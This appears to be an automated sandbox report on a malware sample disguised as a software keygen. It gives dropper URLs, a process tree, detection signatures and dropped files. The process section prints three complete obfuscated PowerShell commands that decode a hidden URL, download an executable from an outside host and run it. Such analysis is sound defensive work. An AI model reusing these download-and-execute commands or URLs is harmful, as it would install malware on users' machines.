201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
12s
max time network
164s
platform
windows7_x64
resource
win7v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (92) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1192 Keygen.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1772 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1824 timeout.exe
1004 timeout.exe

pid	process
1192	Keygen.exe

pid	process
1772	cmd.exe

pid	process
1824	timeout.exe
1004	timeout.exe

Suspicious use of WriteProcessMemory 40 IoCs

Processes:

Keygen — копия (92) — копия.execmd.exemshta.exemshta.exe

description	pid	process	target process
PID 1612 wrote to memory of 1772	1612	Keygen — копия (92) — копия.exe	cmd.exe
PID 1612 wrote to memory of 1772	1612	Keygen — копия (92) — копия.exe	cmd.exe
PID 1612 wrote to memory of 1772	1612	Keygen — копия (92) — копия.exe	cmd.exe
PID 1612 wrote to memory of 1772	1612	Keygen — копия (92) — копия.exe	cmd.exe
PID 1772 wrote to memory of 1192	1772	cmd.exe	Keygen.exe
PID 1772 wrote to memory of 1192	1772	cmd.exe	Keygen.exe
PID 1772 wrote to memory of 1192	1772	cmd.exe	Keygen.exe
PID 1772 wrote to memory of 1192	1772	cmd.exe	Keygen.exe
PID 1772 wrote to memory of 1900	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1900	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1900	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1900	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1836	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1836	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1836	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1836	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1824	1772	cmd.exe	timeout.exe
PID 1772 wrote to memory of 1824	1772	cmd.exe	timeout.exe
PID 1772 wrote to memory of 1824	1772	cmd.exe	timeout.exe
PID 1772 wrote to memory of 1824	1772	cmd.exe	timeout.exe
PID 1772 wrote to memory of 320	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 320	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 320	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 320	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 268	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 268	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 268	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 268	1772	cmd.exe	mshta.exe
PID 1772 wrote to memory of 1004	1772	cmd.exe	timeout.exe
PID 1772 wrote to memory of 1004	1772	cmd.exe	timeout.exe
PID 1772 wrote to memory of 1004	1772	cmd.exe	timeout.exe
PID 1772 wrote to memory of 1004	1772	cmd.exe	timeout.exe
PID 268 wrote to memory of 1948	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 1948	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 1948	268	mshta.exe	powershell.exe
PID 268 wrote to memory of 1948	268	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2000	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2000	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2000	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2000	1836	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (92) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (92) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\E11B.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (92) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1772

C:\Users\Admin\AppData\Local\Temp\E11B.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
PID:1192

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E11B.tmp\m.hta"
3⤵
PID:1900

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E11B.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:2000

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1824

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E11B.tmp\b.hta"
3⤵
PID:320

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:2016

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E11B.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1948

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1004

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\E11B.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E11B.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E11B.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\E11B.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\E11B.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\E11B.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\E11B.tmp\start.bat

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\Users\Admin\AppData\Local\Temp\E11B.tmp\Keygen.exe

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memory/268-15-0x0000000000000000-mapping.dmp

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memory/320-13-0x0000000000000000-mapping.dmp

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memory/1004-16-0x0000000000000000-mapping.dmp

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memory/1192-4-0x0000000000000000-mapping.dmp

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memory/1192-5-0x0000000000000000-mapping.dmp

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memory/1772-0-0x0000000000000000-mapping.dmp

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memory/1824-11-0x0000000000000000-mapping.dmp

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memory/1836-10-0x0000000000000000-mapping.dmp

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memory/1900-8-0x0000000000000000-mapping.dmp

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memory/1948-17-0x0000000000000000-mapping.dmp

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memory/2000-18-0x0000000000000000-mapping.dmp

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